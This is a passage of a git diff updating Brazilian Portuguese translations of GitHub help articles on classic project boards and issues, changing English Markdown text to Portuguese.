@@ -14,23 +14,23 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip**: If you'd like to retain access to a completed or unneeded project board without losing access to its contents, you can [close the project board](/articles/closing-a-project-board) instead of deleting it.
+**Dica**: para manter o acesso a um quadro de projeto concluído ou desnecessário sem perder o acesso ao conteúdo dele, [feche o quadro de projeto](/articles/closing-a-project-board) em vez de excluí-lo.
 
 {% endtip %}
 
-1. Navigate to the project board you want to delete.
+1. Navegue até o quadro de projeto que deseja excluir.
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.click-edit-sidebar-menu-project-board %}
-4. Click **Delete project**.
-![Delete project button](/assets/images/help/projects/delete-project-button.png)
-5. To confirm that you want to delete the project board, click **OK**.
+4. Clique em **Delete project** (Excluir projeto). ![Botão Delete project (Excluir projeto)](/assets/images/help/projects/delete-project-button.png)
+5. Para confirmar que você deseja excluir o quadro de projeto, clique em **OK**.
 
-## Further reading
+## Leia mais
 
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
+- "[Fechar um quadro de projeto](/articles/closing-a-project-board)"
+- "[Desabilitar quadros de projeto em um repositório](/articles/disabling-project-boards-in-a-repository)"
+- "[Desabilitar quadros de projeto na sua organização](/articles/disabling-project-boards-in-your-organization)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
index e80b1eec6e..7d1a4bdc53 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a project board
-intro: You can edit the title and description of an existing project board.
+title: Editar um quadro de projeto
+intro: Você pode editar o título e a descrição de um quadro de projeto existente.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board
   - /articles/editing-a-project
@@ -15,22 +15,22 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip:** For details on adding, removing, or editing columns in your project board, see "[Creating a project board](/articles/creating-a-project-board)."
+**Dica:** para ver detalhes sobre como adicionar, remover ou editar colunas no quadro de projeto, consulte "[Criar um quadro de projeto](/articles/creating-a-project-board)".
 
 {% endtip %}
 
-1. Navigate to the project board you want to edit.
+1. Navegue até o quadro de projeto que deseja editar.
 {% data reusables.project-management.click-menu %}
-{% data reusables.project-management.click-edit-sidebar-menu-project-board %} 
-4. Modify the project board name and description as needed, then click **Save project**.
-![Fields with the project board name and description, and Save project button](/assets/images/help/projects/edit-project-board-save-button.png)
+{% data reusables.project-management.click-edit-sidebar-menu-project-board %}
+4. Modifique o nome e a descrição do quadro de projeto conforme necessário e clique em **Save project** (Salvar projeto). ![Campos com o nome e a descrição do quadro de projeto e o botão Save project (Salvar projeto)](/assets/images/help/projects/edit-project-board-save-button.png)
 
-## Further reading
+## Leia mais
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
+- "[Sobre quadros de projetos](/articles/about-project-boards)"
+- "[Adicionar problemas e pull requests a um quadro de projeto](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- "[Excluir um quadro de projeto](/articles/deleting-a-project-board)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
index b290d300bc..cdcb2eea95 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Reopening a closed project board
-intro: You can reopen a closed project board and restart any workflow automation that was configured for the project board.
+title: Reabrir um quadro de projeto fechado
+intro: Você pode reabrir um painel de projeto fechado e reiniciar qualquer automação de fluxo de trabalho que tenha sido configurada para o quadro de projetos.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board
   - /articles/reopening-a-closed-project-board
@@ -12,22 +12,21 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Reopen project board
+shortTitle: Reabrir quadro de projeto
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-When you close a project board, any workflow automation that was configured for the project board will pause by default. For more information, see "[Closing a project board](/articles/closing-a-project-board)."
+Quando você fecha um quadro de projeto, todas as automações de fluxo de trabalho configuradas para o quadro de projeto são pausadas por padrão. Para obter mais informações, consulte "[Fechar um quadro de projeto](/articles/closing-a-project-board)".
 
-When you reopen a project board, you have the option to *sync* automation, which updates the position of the cards on the board according to the automation settings configured for the board.
+Quando você reabre um quadro de projeto, tem a opção de *sincronizar* a automação, o que atualiza a posição dos cartões no quadro de acordo com as configurações de automação definidas para o quadro.
 
-1. Navigate to the project board you want to reopen.
+1. Navegue até o quadro de projeto que deseja reabrir.
 {% data reusables.project-management.click-menu %}
-3. Choose whether to sync automation for your project board or reopen your project board without syncing.
-    - To reopen your project board and sync automation, click **Reopen and sync project**.
-  ![Select "Reopen and resync project" button](/assets/images/help/projects/reopen-and-sync-project.png)
-    - To reopen your project board without syncing automation, using the reopen drop-down menu, click **Reopen only**. Then, click **Reopen only**.
-  ![Reopen closed project board drop-down menu](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png)
+3. Escolha se deseja sincronizar a automação do quadro de projeto ao reabri-lo.
+    - Para reabrir o quadro de projeto e sincronizar a automação, clique em **Reopen and sync project** (Reabrir e sincronizar projeto). ![Selecione o botão "Reopen and resync project" (Reabrir e sincronizar projeto)](/assets/images/help/projects/reopen-and-sync-project.png)
+    - Para reabrir o quadro de projeto sem sincronizar a automação, use o menu suspenso reopen (reabrir) e clique em **Reopen only** (Somente reabrir). Em seguida, clique em **Reopen only** (Somente reabrir). ![Menu suspenso de reabertura de quadro de projeto fechado](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png)
 
-## Further reading
+## Leia mais
 
-- "[Configuring automation for project boards](/articles/configuring-automation-for-project-boards)"
+- "[Configurar a automação para quadros de projeto](/articles/configuring-automation-for-project-boards)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
index 6c67376231..c06ab49427 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding issues and pull requests to a project board
-intro: You can add issues and pull requests to a project board in the form of cards and triage them into columns.
+title: Adicionar problemas e pull requests a um quadro de projeto
+intro: Você pode adicionar problemas e pull requests a um quadro de projeto na forma de cartões e fazer a triagem deles em colunas.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board
   - /articles/adding-issues-and-pull-requests-to-a-project
@@ -13,67 +13,61 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add issues & PRs to board
+shortTitle: Adicionar issues & PRs ao quadro
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-You can add issue or pull request cards to your project board by:
-- Dragging cards from the **Triage** section in the sidebar.
-- Typing the issue or pull request URL in a card.
-- Searching for issues or pull requests in the project board search sidebar.
+Você pode adicionar cartões de problema ou pull request ao seu quadro de projeto ao:
+- Arrastar os cartões da seção **Triage** (Triagem) na barra lateral.
+- Digitar a URL do problema ou da pull request em um cartão.
+- Pesquisar problemas ou pull requests na barra lateral de pesquisa do quadro de projeto.
 
-You can put a maximum of 2,500 cards into each project column. If a column has reached the maximum number of cards, no cards can be moved into that column.
+É possível colocar 2.500 cartões, no máximo, em cada coluna do projeto. Se uma coluna atingir o número máximo de cartões, nenhum cartão poderá ser movido para essa coluna.
 
-![Cursor moves issue card from triaging sidebar to project board column](/assets/images/help/projects/add-card-from-sidebar.gif)
+![Cursor move cartão de problema da barra lateral de triagem para a coluna do quadro de projeto](/assets/images/help/projects/add-card-from-sidebar.gif)
 
 {% note %}
 
-**Note:** You can also add notes to your project board to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_name %}, or to add related information to your project board. For more information, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+**Observação:** também é possível adicionar observações ao seu quadro de projeto para que sirvam de lembretes de tarefas, referências a problemas e pull requests de qualquer repositório no {% data variables.product.product_name %} ou para adicionar informações relacionadas ao seu quadro de projeto. Para obter mais informações, consulte "[Adicionar observações a um quadro de projeto](/articles/adding-notes-to-a-project-board)".
 
 {% endnote %}
 
 {% data reusables.project-management.edit-in-project %}
 
-{% data reusables.project-management.link-repos-to-project-board %} When you search for issues and pull requests to add to your project board, the search automatically scopes to your linked repositories. You can remove these qualifiers to search within all organization repositories. For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %} Quando você pesquisa problemas ou pull requests para adicionar ao quadro de projeto, a pesquisa automaticamente é colocada no escopo de seus repositórios vinculados. É possível remover esses qualificadores para pesquisar em todos os repositórios da organização. Para obter mais informações, consulte "[Vincular um repositório a um quadro de projeto](/articles/linking-a-repository-to-a-project-board)".
 
-## Adding issues and pull requests to a project board
+## Adicionar problemas e pull requests a um quadro de projeto
 
-1. Navigate to the project board where you want to add issues and pull requests.
-2. In your project board, click {% octicon "plus" aria-label="The plus icon" %} **Add cards**.
-![Add cards button](/assets/images/help/projects/add-cards-button.png)
-3. Search for issues and pull requests to add to your project board using search qualifiers. For more information on search qualifiers you can use, see "[Searching issues](/articles/searching-issues)."
-  ![Search issues and pull requests](/assets/images/help/issues/issues_search_bar.png)
+1. Navegue até o quadro de projeto onde deseja adicionar problemas e pull requests.
+2. No quadro de projeto, clique em {% octicon "plus" aria-label="The plus icon" %} **Add cards** (Adicionar cartões). ![Botão Add cards (Adicionar cartões)](/assets/images/help/projects/add-cards-button.png)
+3. Pesquise problemas e pull requests para adicionar ao quadro de projeto usando qualificadores de pesquisa. Para obter mais informações sobre qualificadores de pesquisa que você pode usar, consulte [Pesquisar problemas](/articles/searching-issues)". ![Pesquisar problemas e pull requests](/assets/images/help/issues/issues_search_bar.png)
 
   {% tip %}
 
-  **Tips:**
-    - You can also add an issue or pull request by typing the URL in a card.
-    - If you're working on a specific feature, you can apply a label to each related issue or pull request for that feature, and then easily add cards to your project board by searching for the label name. For more information, see "[Apply labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests)."
+  **Dicas:**
+    - Também é possível adicionar um problema ou uma pull request digitando a URL em um cartão.
+    - Se estiver trabalhando em um recurso específico, você poderá aplicar uma etiqueta a cada pull request ou problema relacionado a esse recurso e, assim, adicionar facilmente cartões ao quadro de projeto pesquisando o nome da etiqueta. Para obter mais informações, consulte "[Aplicar etiquetas a problemas e pull requests](/articles/applying-labels-to-issues-and-pull-requests)".
 
   {% endtip %}
-4. From the filtered list of issues and pull requests, drag the card you'd like to add to your project board and drop it in the correct column. Alternatively, you can move cards using keyboard shortcuts. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+4. Na lista filtrada de problemas e pull requests, arraste o cartão que deseja adicionar ao quadro de projeto e solte-o na coluna correta. Como alternativa, você pode mover cartões usando os atalhos de teclado. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% tip %}
 
-    **Tip:** You can drag and drop or use keyboard shortcuts to reorder cards and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+    **Dica:** é possível arrastar e soltar ou usar atalhos de teclado para reordenar cartões e movê-los entre colunas. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% endtip %}
 
-## Adding issues and pull requests to a project board from the sidebar
+## Adicionar problemas e pull request a um quadro de projeto da barra lateral
 
-1. On the right side of an issue or pull request, click **Projects {% octicon "gear" aria-label="The Gear icon" %}**.
-  ![Project board button in sidebar](/assets/images/help/projects/sidebar-project.png)
-2. Click the **Recent**, **Repository**,**User**, or **Organization** tab for the project board you would like to add to.
-  ![Recent, Repository and Organization tabs](/assets/images/help/projects/sidebar-project-tabs.png)
-3. Type the name of the project in **Filter projects** field.
-  ![Project board search box](/assets/images/help/projects/sidebar-search-project.png)
-4. Select one or more project boards where you want to add the issue or pull request.
-  ![Selected project board](/assets/images/help/projects/sidebar-select-project.png)
-5. Click {% octicon "triangle-down" aria-label="The down triangle icon" %}, then click the column where you want your issue or pull request. The card will move to the bottom of the project board column you select.
-  ![Move card to column menu](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
+1. No lado direito de um problema ou uma pull request, clique em **Projects (Projetos) {% octicon "gear" aria-label="The Gear icon" %}**. ![Botão Project board (Quadro de projeto) na barra lateral](/assets/images/help/projects/sidebar-project.png)
+2. Clique na aba **Recent** (Recente), **Repository** (Repositório), **User** (Usuário) ou **Organization** (Organização) do quadro de projeto ao qual deseja adicionar. ![Guias Recent (Recente), Repository (Repositório) e Organization (Organização)](/assets/images/help/projects/sidebar-project-tabs.png)
+3. Digite o nome do projeto no campo **Filter projects** (Filtrar projetos). ![Caixa de pesquisa Project board (Quadro de projeto)](/assets/images/help/projects/sidebar-search-project.png)
+4. Selecione um ou mais quadros de projeto ao qual você deseja adicionar o problema ou pull request. ![Quadro de projeto selecionado](/assets/images/help/projects/sidebar-select-project.png)
+5. Clique em {% octicon "triangle-down" aria-label="The down triangle icon" %} e depois na coluna onde você quer seu problema ou pull request. O cartão irá para a parte inferior da coluna do quadro de projeto que você selecionou. ![Menu Move card to column (Mover cartão para coluna)](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
 
-## Further reading
+## Leia mais
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)"
+- "[Sobre quadros de projetos](/articles/about-project-boards)"
+- "[Editar um quadro de projeto](/articles/editing-a-project-board)"
+- "[Filtrar cartões em um quadro de projeto](/articles/filtering-cards-on-a-project-board)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
index 2cf815d675..bd62e3ce37 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding notes to a project board
-intro: You can add notes to a project board to serve as task reminders or to add information related to the project board.
+title: Adicionar observações a um quadro de projeto
+intro: Você pode adicionar observações a um quadro de projeto para que sirvam como lembretes de tarefas ou para adicionar informações relacionadas ao quadro de projeto.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board
   - /articles/adding-notes-to-a-project
@@ -13,72 +13,66 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add notes to board
+shortTitle: Adicionar notas ao quadro
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tips:**
-- You can format your note using Markdown syntax. For example, you can use headings, links, task lists, or emoji. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)."
-- You can drag and drop or use keyboard shortcuts to reorder notes and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
-- Your project board must have at least one column before you can add notes. For more information, see "[Creating a project board](/articles/creating-a-project-board)."
+**Dicas:**
+- É possível formatar a observação usando a sintaxe markdown. Por exemplo, você pode usar títulos, links, listas de tarefas ou emojis. Para obter mais informações, consulte "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax)".
+- Você pode arrastar e soltar ou usar atalhos de teclado para reordenar observações e movê-las entre colunas. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+- Seu quadro de projeto deve ter pelo menos uma coluna para que seja possível adicionar observações. Para obter mais informações, consulte "[Criar um quadro de projeto](/articles/creating-a-project-board)".
 
 {% endtip %}
 
-When you add a URL for an issue, pull request, or another project board to a note, you'll see a preview in a summary card below your text.
+Ao adicionar a uma observação uma URL para um problema, uma pull request ou outro quadro de projeto, você vê uma visualização em um cartão de resumo abaixo do seu texto.
 
-![Project board cards showing a preview of an issue and another project board](/assets/images/help/projects/note-with-summary-card.png)
+![Cartões de quadro de projeto mostrando a visualização de um problema e outro quadro de projeto](/assets/images/help/projects/note-with-summary-card.png)
 
-## Adding notes to a project board
+## Adicionar observações a um quadro de projeto
 
-1. Navigate to the project board where you want to add notes.
-2. In the column you want to add a note to, click {% octicon "plus" aria-label="The plus icon" %}.
-![Plus icon in the column header](/assets/images/help/projects/add-note-button.png)
-3. Type your note, then click **Add**.
-![Field for typing a note and Add card button](/assets/images/help/projects/create-and-add-note-button.png)
+1. Navegue até o quadro de projeto onde deseja adicionar observações.
+2. Na coluna que deseja adicionar uma observação, clique em {% octicon "plus" aria-label="The plus icon" %}. ![Ícone de mais no header da coluna](/assets/images/help/projects/add-note-button.png)
+3. Digite sua observação e clique em **Add** (Adicionar). ![Campo para digitar uma observação e botão Add card (Adicionar cartão)](/assets/images/help/projects/create-and-add-note-button.png)
 
   {% tip %}
 
-  **Tip:** You can reference an issue or pull request in your note by typing its URL in the card.
+  **Dica:** você pode fazer referência um problema ou uma pull request na observação digitando a respectiva URL no cartão.
 
   {% endtip %}
 
-## Converting a note to an issue
+## Converter uma observação em um problema
 
-If you've created a note and find that it isn't sufficient for your needs, you can convert it to an issue.
+Se você criou uma observação e achou que ela não é suficiente para as suas necessidades, é possível convertê-la em um problema.
 
-When you convert a note to an issue, the issue is automatically created using the content from the note. The first line of the note will be the issue title and any additional content from the note will be added to the issue description.
+Quando você converte uma observação em um problema, o problema é criado automaticamente usando o conteúdo da observação. A primeira linha da observação será o título do problema e o conteúdo adicional da observação será adicionado à descrição do problema.
 
 {% tip %}
 
-**Tip:** You can add content in the body of your note to @mention someone, link to another issue or pull request, and add emoji. These {% data variables.product.prodname_dotcom %} Flavored Markdown features aren't supported within project board notes, but once your note is converted to an issue, they'll appear correctly. For more information on using these features, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)."
+**Dica:** é possível adicionar conteúdo no texto da observação para fazer @menção a alguém, vinculá-la a outro problema ou pull request e adicionar emoji. Esses recursos markdown em estilo {% data variables.product.prodname_dotcom %} não são aceitos em observações do quadro de projeto, mas depois que a observação for convertida em um problema, ela será exibida corretamente. Para obter mais informações sobre o uso desses recursos, consulte "[Sobre escrita e formatação no {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)".
 
 {% endtip %}
 
-1. Navigate to the note that you want to convert to an issue.
+1. Navegue para a observação que deseja converter em um problema.
 {% data reusables.project-management.project-note-more-options %}
-3. Click **Convert to issue**.
-  ![Convert to issue button](/assets/images/help/projects/convert-to-issue.png)
-4. If the card is on an organization-wide project board, in the drop-down menu, choose the repository you want to add the issue to.
-  ![Drop-down menu listing repositories where you can create the issue](/assets/images/help/projects/convert-note-choose-repository.png)
-5. Optionally, edit the pre-filled issue title, and type an issue body.
-  ![Fields for issue title and body](/assets/images/help/projects/convert-note-issue-title-body.png)
-6. Click **Convert to issue**.
-7. The note is automatically converted to an issue. In the project board, the new issue card will be in the same location as the previous note.
+3. Clique em **Convert to issue** (Converter em problema). ![Botão Convert to issue (Converter em problema)](/assets/images/help/projects/convert-to-issue.png)
+4. Se o cartão estiver em um quadro de projeto em toda a organização, no menu suspenso, escolha o repositório ao qual deseja adicionar o problema. ![Menu suspenso listando repositórios onde é possível criar o problema](/assets/images/help/projects/convert-note-choose-repository.png)
+5. Se desejar, edite o título do problema previamente preenchido e digite um texto para o problema. ![Campos para título e texto do problema](/assets/images/help/projects/convert-note-issue-title-body.png)
+6. Clique em **Convert to issue** (Converter em problema).
+7. A observação é convertida automaticamente em um problema. No quadro de projeto, o novo cartão de problema estará no mesmo local que a observação anterior.
 
-## Editing and removing a note
+## Editar e remover uma observação
 
-1. Navigate to the note that you want to edit or remove.
+1. Navegue para a observação que deseja editar ou remover.
 {% data reusables.project-management.project-note-more-options %}
-3. To edit the contents of the note, click **Edit note**.
-  ![Edit note button](/assets/images/help/projects/edit-note.png)
-4. To delete the contents of the notes, click **Delete note**.
-  ![Delete note button](/assets/images/help/projects/delete-note.png)
+3. Para editar o conteúdo da observação, clique em **Edit note** (Editar observação). ![Botão Edit note (Editar observação)](/assets/images/help/projects/edit-note.png)
+4. Para excluir o conteúdo das observações, clique em **Delete note** (Excluir observação). ![Botão Delete note (Excluir observação)](/assets/images/help/projects/delete-note.png)
 
-## Further reading
+## Leia mais
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- "[Sobre quadros de projetos](/articles/about-project-boards)"
+- "[Criar um quadro de projeto](/articles/creating-a-project-board)"
+- "[Editar um quadro de projeto](/articles/editing-a-project-board)"
+- "[Adicionar problemas e pull requests a um quadro de projeto](/articles/adding-issues-and-pull-requests-to-a-project-board)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
index b7d8e6e244..702986793e 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving cards on a project board
-intro: You can archive project board cards to declutter your workflow without losing the historical context of a project.
+title: Arquivar cartões em um quadro de projeto
+intro: Você pode arquivar cartões de quadro de projeto para limpar seu fluxo de trabalho sem perder o contexto histórico de um projeto.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/archiving-cards-on-a-project-board
   - /articles/archiving-cards-on-a-project-board
@@ -12,23 +12,20 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Archive cards on board
+shortTitle: Arquivar cartões no quadro
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-Automation in your project board does not apply to archived project board cards. For example, if you close an issue in a project board's archive, the archived card does not automatically move to the "Done" column. When you restore a card from the project board archive, the card will return to the column where it was archived.
+A automação no quadro de projeto não se aplica a cartões do quadro de projeto arquivados. Por exemplo, se você fechar um problema no arquivamento de um quadro de projeto, o cartão arquivado não será movido automaticamente para a coluna "Done" (Concluído). Quando você restaura um cartão do arquivamento do quadro de projeto, o cartão retorna à coluna em que foi arquivada.
 
-## Archiving cards on a project board
+## Arquivar cartões em um quadro de projeto
 
-1. In a project board, find the card you want to archive, then click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![List of options for editing a project board card](/assets/images/help/projects/select-archiving-options-project-board-card.png)
-2. Click **Archive**.
-![Select archive option from menu](/assets/images/help/projects/archive-project-board-card.png)
+1. Em um quadro de projeto, encontre o cartão que você deseja arquivar e clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![Lista de opções para edição de um cartão do quadro de projeto](/assets/images/help/projects/select-archiving-options-project-board-card.png)
+2. Clique em **Arquivar**. ![Opção de seleção de arquivamento no menu](/assets/images/help/projects/archive-project-board-card.png)
 
-## Restoring cards on a project board from the sidebar
+## Restaurar cartões em um quadro de projeto usando a barra lateral
 
 {% data reusables.project-management.click-menu %}
-2. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **View archive**.
-  ![Select view archive option from menu](/assets/images/help/projects/select-view-archive-option-project-board-card.png)
-3. Above the project board card you want to unarchive, click **Restore**.
-  ![Select restore project board card](/assets/images/help/projects/restore-card.png)
+2. Clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e em **View archive** (Exibir arquivamento). ![Opção de seleção de exibição de arquivamento no menu](/assets/images/help/projects/select-view-archive-option-project-board-card.png)
+3. Acima do cartão do quadro de projeto que deseja desarquivar, clique em **Restore** (Restaurar). ![Seleção da restauração do cartão do quadro de projeto](/assets/images/help/projects/restore-card.png)
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-issues.md
index ebd5ac6cf6..4919bcab53 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-issues.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-issues.md
@@ -1,6 +1,6 @@
 ---
-title: About issues
-intro: 'Use {% data variables.product.prodname_github_issues %} to track ideas, feedback, tasks, or bugs for work on {% data variables.product.company_short %}.'
+title: Sobre problemas
+intro: 'Use {% data variables.product.prodname_github_issues %} para rastrear ideias, comentários, tarefas ou erros para trabalho em {% data variables.product.company_short %}.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues
   - /articles/creating-issues
@@ -17,38 +17,39 @@ topics:
   - Issues
   - Project management
 ---
-## Integrated with GitHub
 
-Issues let you track your work on {% data variables.product.company_short %}, where development happens. When you mention an issue in another issue or pull request, the issue's timeline reflects the cross-reference so that you can keep track of related work. To indicate that work is in progress, you can link an issue to a pull request. When the pull request merges, the linked issue automatically closes.
+## Integrado ao GitHub
 
-## Quickly create issues
+Os problemas permitem que você acompanhe seu trabalho em {% data variables.product.company_short %}, onde o desenvolvimento acontece. Ao mencionar um problema em outro problema ou pull request, a linha do tempo do problema reflete a referência cruzada para que você possa acompanhar o trabalho relacionado. Para indicar que o trabalho está em andamento, você pode vincular um problema a um pull request. Quando o pull request faz merge, o problema vinculado é fechado automaticamente.
 
-Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow. For example, you can create an issue from a repository,{% ifversion fpt or ghec %} an item in a task list,{% endif %} a note in a project, a comment in an issue or pull request, a specific line of code, or a URL query. You can also create an issue from your platform of choice: through the web UI, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL and REST APIs, or {% data variables.product.prodname_mobile %}. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)."
+## Crie problemas rapidamente
 
-## Track work
+Os problemas podem ser criados de várias maneiras. Portanto, você pode escolher o método mais conveniente para seu fluxo de trabalho. Por exemplo, você pode criar um problema a partir de um repositório,{% ifversion fpt or ghec %} um item em uma lista de tarefas,{% endif %} uma observação em um projeto, um comentário em um problema ou pull request, uma linha de código específica ou uma consulta de URL. Você também pode criar um problema a partir da sua plataforma de escolha: por meio da interface do usuário web {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL e APIs REST ou {% data variables.product.prodname_mobile %}. Para obter mais informações, consulte "[Criar um problema](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)".
 
-You can organize and prioritize issues with projects. {% ifversion fpt or ghec %}To track issues as part of a larger issue, you can use task lists.{% endif %} To categorize related issues, you can use labels and milestones.
+## Monitorar trabalho
 
-For more information about projects, see {% ifversion fpt or ghec %}"[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" and {% endif %}"[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)." {% ifversion fpt or ghec %}For more information about task lists, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." {% endif %}For more information about labels and milestones, see "[Using labels and milestones to track work](/issues/using-labels-and-milestones-to-track-work)."
+Você pode organizar e priorizar problemas com projetos. {% ifversion fpt or ghec %}Para monitorar problemas como parte de um problema maior, você pode usar as listas de tarefas.{% endif %} Para categorizar problemas relacionados, você pode usar etiquetas e marcos.
 
-## Stay up to date
+Para obter mais informações sobre os projetos, consulte {% ifversion fpt or ghec %}"[Sobre projetos (beta)](/issues/trying-out-the-new-projects-experience/about-projects)e {% endif %}"[Organizar seu trabalho com quadros de projeto](/issues/organizing-your-work-with-project-boards)". {% ifversion fpt or ghec %}Para obter mais informações sobre listas de tarefas, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)". {% endif %}Para obter mais informações sobre etiquetas e marcos, consulte "[Usando etiquetas e marcos para rastrear o trabalho](/issues/using-labels-and-milestones-to-track-work)".
 
